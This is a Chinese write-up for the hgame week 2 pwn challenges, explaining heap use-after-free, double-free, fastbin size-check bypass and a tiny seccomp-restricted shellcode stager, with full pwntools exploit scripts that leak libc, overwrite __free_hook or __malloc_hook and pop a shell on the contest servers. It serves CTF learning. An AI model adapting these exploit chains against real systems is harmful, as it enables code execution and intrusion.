

hgame_week2_pwn题解

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| 阅读量: 2

EldenRing 2

简单的uaf,因为寒假才刚开始入门堆，所以写得稍微详细点。先看看伪C，

▼ C



```
1 // local variable allocation has failed, the output
2 int __cdecl main(int argc, const char **argv, cons
3 {
4     int v4; // [rsp+1Ch] [rbp-4h] BYREF
5
6     init(argc, argv, envp);
7     while ( 1 )
8     {
9         menu(*(_QWORD *)&argc);
10        *(_QWORD *)&argc = "%d";
11        __isoc99_scanf("%d", &v4);
12        switch ( v4 )
13        {
14            case 1:
15                add_note();
16                break;
```



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```

17     case 2:
18         delete_note("%d", &v4);
19         break;
20     case 3:
21         edit_note();
22         break;
23     case 4:
24         show_note();
25         break;
26     case 5:
27         exit(0);
28     default:
29         *(_QWORD *)&argc = "Wrong choice!";
30         puts("Wrong choice!");
31         break;
32 }
33 }

```

查看逻辑发现，free掉后指针没有释放，且free后仍然可以edit和show。free掉后可以用edit函数来改掉chunk的bk指针来实现一次任意地址写，在这之前我们可以先想办法把free掉的chunk放进unsorted_bins中，unsortedbins中的第一个chunk的bk指针是一个libc相关的地址，然后我们用show函数把其中的内容泄露出来，就可以拿到libc的基址，随后再利用uaf去劫持free_hook or malloc_hook(个人比较喜欢free_hook,这样传参比较方便，当然如果有满足条件的one_gadget也可以用malloc_hook)。由于tcachebins的存在我们需要先把tcachebins填满。

edit 和 show函数

▼ C



```

1  int edit_note()
2  {
3      unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF
4
5      printf("Index: ");
6      __isoc99_scanf("%u", &v1);
7      if ( v1 > 0xF )
8          return puts("There are only 16 pages in this n
9      if ( !notes[v1] )
10         return puts("Page not found.");
11     printf("Content: ");
12     return read(0, (void *)notes[v1], note_size[v1])

```

2. Shellcode Master

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```

13 }
14
15 int show_note()
16 {
17     unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF
18
19     printf("Index: ");
20     __isoc99_scanf("%u", &v1);
21     if ( v1 > 0xF )
22         return puts("There are only 16 pages in this n
23     if ( notes[v1] )
24         return puts((const char *)notes[v1]);
25     return puts("Page not found.");
26 }

```

那么怎么让chunk被加入到unsortedbins中呢，这里只需要让两个物理相邻的chunk的状态不同就可以了,即一个chunk被占用，另一个chunk处于空闲状态。

示例代码

▼ C



```

1 int main(){
2     char *a=malloc(0x50);
3     char *b=malloc(0x50);
4     free(a);
5     return 0;
6 }

```

理解攻击原理之后，攻击就变得很简单了，只需要利用uaf漏洞将任意一个chunk的bk，指针改为free_hook的地址，malloc分配到free_hook后，把free_hook中的内容改为system的地址，随后再传给free函数一个"/bin/sh",这样程序就会去执行system函数，弹出一个shell

exp:

▼ PYTHON



```

1 from pwn import *
2 #p=process("./vuln")
3 p=remote("47.100.137.175",32044)
4 elf=ELF("./vuln")
5 def add_note(index,size):
6     p.sendlineafter(">",str(1))

```

```

7         p.sendlineafter("Index: ",str(index))
8         p.sendlineafter("Size: ",str(size))
9     def delete_note(index):
10         p.sendlineafter(">",str(2))
11         p.sendlineafter("Index: ",str(index))
12     def edit_note(index,payload):
13         p.sendlineafter(">",str(3))
14         p.sendlineafter("Index: ",str(index))
15         p.sendafter("Content: ",payload)
16         sleep(0.25)
17     def show_note(index):
18         p.sendlineafter(">",str(4))
19         p.sendlineafter("Index: ",str(index))
20     def exit():
21         p.sendlineafter(">",str(5))
22     for i in range(9):
23         add_note(i,0xa0)
24     for i in range(8):
25         delete_note(i)
26     #gdb.attach(p)
27     show_note(7)
28     #gdb.attach(p)
29     main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
30     print(hex(main_arena))
31     offset=0x1ecbe0
32     libc_base=main_arena-offset
33     print(hex(libc_base))
34     libc=ELF("./libc.so.6")
35     system=libc_base+libc.sym["system"]
36     free_hook=libc_base+libc.sym["__free_hook"]
37     payload=p64(free_hook)+0x98*b"\x00"
38     edit_note(6,payload)
39     #gdb.attach(p)
40     add_note(9,0xa0)
41     add_note(10,0xa0)
42     edit_note(9,b"/bin/sh\x00")
43     payload=p64(system)
44     edit_note(10,payload)
45     delete_note(9)
46     p.interactive()
47     #exit()

```

Shellcode Master

先看看汇编

▼ PLAINTEXT



```
1  buf= qword ptr -8
2
3  ; __unwind {
4  endbr64
5  push    rbp
6  mov     rbp, rsp
7  sub     rsp, 10h
8  mov     eax, 0
9  call    init
10 mov     eax, 0
11 call    sandbox
12 mov     r9d, 0          ; offset
13 mov     r8d, 0FFFFFFFFh ; fd
14 mov     ecx, 22h ; '''' ; flags
15 mov     edx, 7          ; prot
16 mov     esi, 1000h      ; len
17 mov     edi, 2333000h   ; addr
18 mov     eax, 0
19 call    _mmap
20 cdqe
21 mov     [rbp+buf], rax
22 lea     rax, s          ; "I heard that a super sh
23 mov     rdi, rax        ; s
24 call    _puts
25 mov     rax, [rbp+buf]
26 mov     edx, 16h        ; nbytes
27 mov     rsi, rax        ; buf
28 mov     edi, 0          ; fd
29 mov     eax, 0
30 call    _read
31 lea     rax, large cs:402064h ; "Love!"
32 mov     rdi, rax        ; s
33 call    _puts
34 mov     rax, [rbp+buf]
35 mov     edx, 4          ; prot
36 mov     esi, 1000h      ; len
37 mov     rdi, rax        ; addr
38 mov     eax, 0
39 call    _mprotect
40 mov     r15, 2333000h
41 mov     rax, 2333h
42 mov     rbx, 2333h
43 mov     rcx, 2333h
44 mov     rdx, 2333h
45 mov     rsp, 2333h
```

```

46  mov     rbp, 2333h
47  mov     rsi, 2333h
48  mov     rdi, 2333h
49  mov     r8, 2333h
50  mov     r9, 2333h
51  mov     r10, 2333h
52  mov     r11, 2333h
53  mov     r12, 2333h
54  mov     r13, 2333h
55  mov     r14, 2333h
56  jmp     r15
57  main endp

```

程序开了沙箱，禁用了execve,只能orw了，程序的逻辑很好懂，就是限了长度的shellcode,想想就知道想用0x16个字节完成orw几乎不可能，我们不妨换个思路，刚开始想的是执行完一次shellcode后再jmp到call read函数处，再read一遍，但尴尬的是rsp,rbp都被置为2333h,这么低的地址如果往里面push的话必然触发保护，并且在执行完mprotect函数后，0x2333000h就没有读写权限了，这条路子也行不通，想来想去比较可行的只有用0x16个字节实现mprotect和read这两个syscall了(凑字节的过程异常痛苦),还有一点比较关键，就是read的位置，我们执行完mprotect后，rcx寄存器的值刚好合适，我们把它设为read的起始地址，还可以省下几个字节。

exp

▼ PYTHON



```

1  from pwn import *
2  context(arch="amd64")
3  #p=process("./vuln")
4  p=remote("106.14.57.14",31332)
5  shellcode=''
6      mov ax,10
7      shl edi,12
8      mov dx,0xf
9      syscall
10     xor eax,eax
11     xor edi,edi
12     mov esi,ecx
13     syscall
14  ''
15  shellcode=asm(shellcode)

```

```
16
17 print(len(shellcode))
18 p.sendafter("shellcode\n",shellcode)
19 #sleep(0.125)
20 #shellcode=shellcraft.open("./flag")
21 #payload=asm(shellcode)
22 payload=asm("nop")*(0x2333015-0x233300d+1)
23 shellcode=''
24     mov dl, 0xff
25     mov al, 0
26     syscall
27 '''
28
29 payload+=asm(shellcode)
30 print(len(payload))
31 p.send(payload)
32 payload=asm("nop")*0x10
33 shellcode=''
34     xor rax,rax
35     xor rdi,rdi
36     mov rsi,r15
37     syscall
38
39     mov rax, 2
40     mov rdi, r15
41     xor rsi, rsi
42     xor rdx, rdx
43     syscall
44
45     xor rax,rax
46     mov rdi, 3
47     mov rsi, r15
48     mov rdx, 0x50
49     syscall
50
51     mov rax, 1
52     mov rdi, 1
53     mov rsi, r15
54     mov rdx, 0x50
55     syscall
56 '''
57 payload+=asm(shellcode)
58 p.send(payload)
59 flag=b"./flag\x00"
60 #gdb.attach(p)
61 p.send(flag)
```

```
62 #pause()
63 p.interactive()
```

fastnotes

double free,这里的fastnotes检查比较宽松, 避开fastbins的第一个chunk去free就可以了。

▼ C



```
1  unsigned __int64 delete()
2  {
3      unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
4      void *v2; // [rsp+10h] [rbp-10h]
5      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6
7      v3 = __readfsqword(0x28u);
8      printf("Index: ");
9      __isoc99_scanf("%u", &v1);
10     if ( v1 > 0xF )
11     {
12         puts("There are only 16 pages.");
13     }
14     else
15     {
16         v2 = (void *)notes[v1];
17         if ( v2 )
18         {
19             free(v2);
20             v2 = 0LL;
21         }
22         else
23         {
24             puts("No such note.");
25         }
26     }
27     return __readfsqword(0x28u) ^ v3;
28 }
```

这里还做了个障眼法, 这个ptr是个局部变量, 不成问题。double free
后继续劫持free_hook

exp

▼ PYTHON




```
1  from pwn import *
2  #p=process("./vuln")
3  p=remote("106.15.72.34",32534)
4  #p=remote("47.100.137.175",32044)
5  #elf=ELF("./vuln")
6  def add_note(index,size,payload):
7      p.sendlineafter("Your choice:",str(1))
8      p.sendlineafter("Index: ",str(index))
9      p.sendlineafter("Size: ",str(size))
10     p.sendlineafter("Content: ",payload)
11 def delete(index):
12     p.sendlineafter("Your choice:",str(3))
13     p.sendlineafter("Index: ",str(index))
14 def show(index):
15     p.sendlineafter("Your choice:",str(2))
16     p.sendlineafter("Index: ",str(index))
17 def exit():
18     p.sendlineafter("Your choice:",str(4))
19 for i in range(9):
20     add_note(i,0x80,b"114514")
21 for i in range(8):
22     delete(i)
23 #gdb.attach(p)
24 show(7)
25 main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
26 print(hex(main_arena))
27 offset=0x1ecbe0
28 libc_base=main_arena-offset
29 print(hex(libc_base))
30 delete(8)
31 for i in range(9):
32     add_note(i,0x50,b"114514")
33 for i in range(9):
34     delete(i)
35 #gdb.attach(p)
36 delete(7)
37 for i in range(7):
38     add_note(i,0x50,b"114514")
39 #gdb.attach(p)
40 #add_note(7,0x50,b"114514")
41 libc=ELF("./libc-2.31.so")
42 free_hook=libc.sym["__free_hook"]+libc_base
43 system=libc.sym["system"]+libc_base
44 add_note(7,0x50,p64(free_hook))
45 add_note(8,0x50,b"aaaa")
46 add_note(9,0x50,b"/bin/sh\x00")
```

```

47 add_note(10,0x50,p64(system))
48 delete(9)
49 #gdb.attach(p)
50 #gdb.attach(p)
51 p.interactive()

```

old_fastnotes

这个版本的glibc在分配fastbins中的chunk时会对size位做检查，检查这个chunk属不属于fastbins,这里还是比较棘手的，不过上网查了下绕过姿势，可以double free后把bk指针改到malloc_hook-0x23的位置来绕过这个检查，这样只需要在edit的时候填充指定的数据，再去把malloc_hook改为one_gadget的地址就可以了

exp

▼ PYTHON



```

1  from pwn import *
2  context(arch="amd64",os="linux")
3  #p=process("./vuln")
4  p=remote("106.14.57.14",30577)
5  elf=ELF("./vuln")
6  def add_note(index,size,payload):
7      p.sendlineafter("Your choice:",str(1))
8      p.sendlineafter("Index: ",str(index))
9      p.sendlineafter("Size: ",str(size))
10     p.sendlineafter("Content: ",payload)
11  def delete(index):
12     p.sendlineafter("Your choice:",str(3))
13     p.sendlineafter("Index: ",str(index))
14  def show(index):
15     p.sendlineafter("Your choice:",str(2))
16     p.sendlineafter("Index: ",str(index))
17  def exit():
18     p.sendlineafter("Your choice:",str(4))
19  add_note(0,0x80,b"114514")
20  add_note(1,0x60,b"114514")
21  add_note(2,0x60,b"114514")
22  #gdb.attach(p)
23  delete(0)
24  show(0)
25  main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
26  print(hex(main_arena))
27  offset=0x3c4b78

```

```
28 libc_base=main_arena-offset
29 print(hex(libc_base))
30 libc=ELF("./libc-2.23.so")
31 #arena=libc.sym["main_arena"]+libc_base
32 #print(hex(arena))
33 malloc_hook=libc_base+libc.sym["__malloc_hook"]
34 free_hook=libc_base+libc.sym["__free_hook"]
35 print(hex(free_hook))
36 print(hex(malloc_hook))
37 delete(1)
38 delete(2)
39 add_note(0,0x60,b"114514")
40 add_note(1,0x60,b"114514")
41 #add_note(2,0x60,b"114514")
42 delete(0)
43 delete(1)
44 delete(0)
45 #gdb.attach(p)
46 #note3=0x602060+0x8*3
47 one_gadget=libc_base+0xf1247
48 add_note(2,0x60,p64(malloc_hook-0x23))
49 #gdb.attach(p)
50 add_note(3,0x60,b"114514")
51 add_note(4,0x60,b"114514")
52 #gdb.attach(p)
53 payload=b"a"*0x13+p64(one_gadget)
54 #add_note(10,0x68,b"114514")
55 add_note(3,0x68,payload)
56 #gdb.attach(p)
57 #add_note(3,0x68,b"114514")
58 #add_note(5,0x80,b"114514")
59 p.sendlineafter("Your choice:",str(1))
60 p.sendlineafter("Index: ", str(5))
61 p.sendlineafter("Size: ",str(0x80))
62 #add_note(2,0x70,)
63 p.interactive()
```

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hgame_week1_pwn题解

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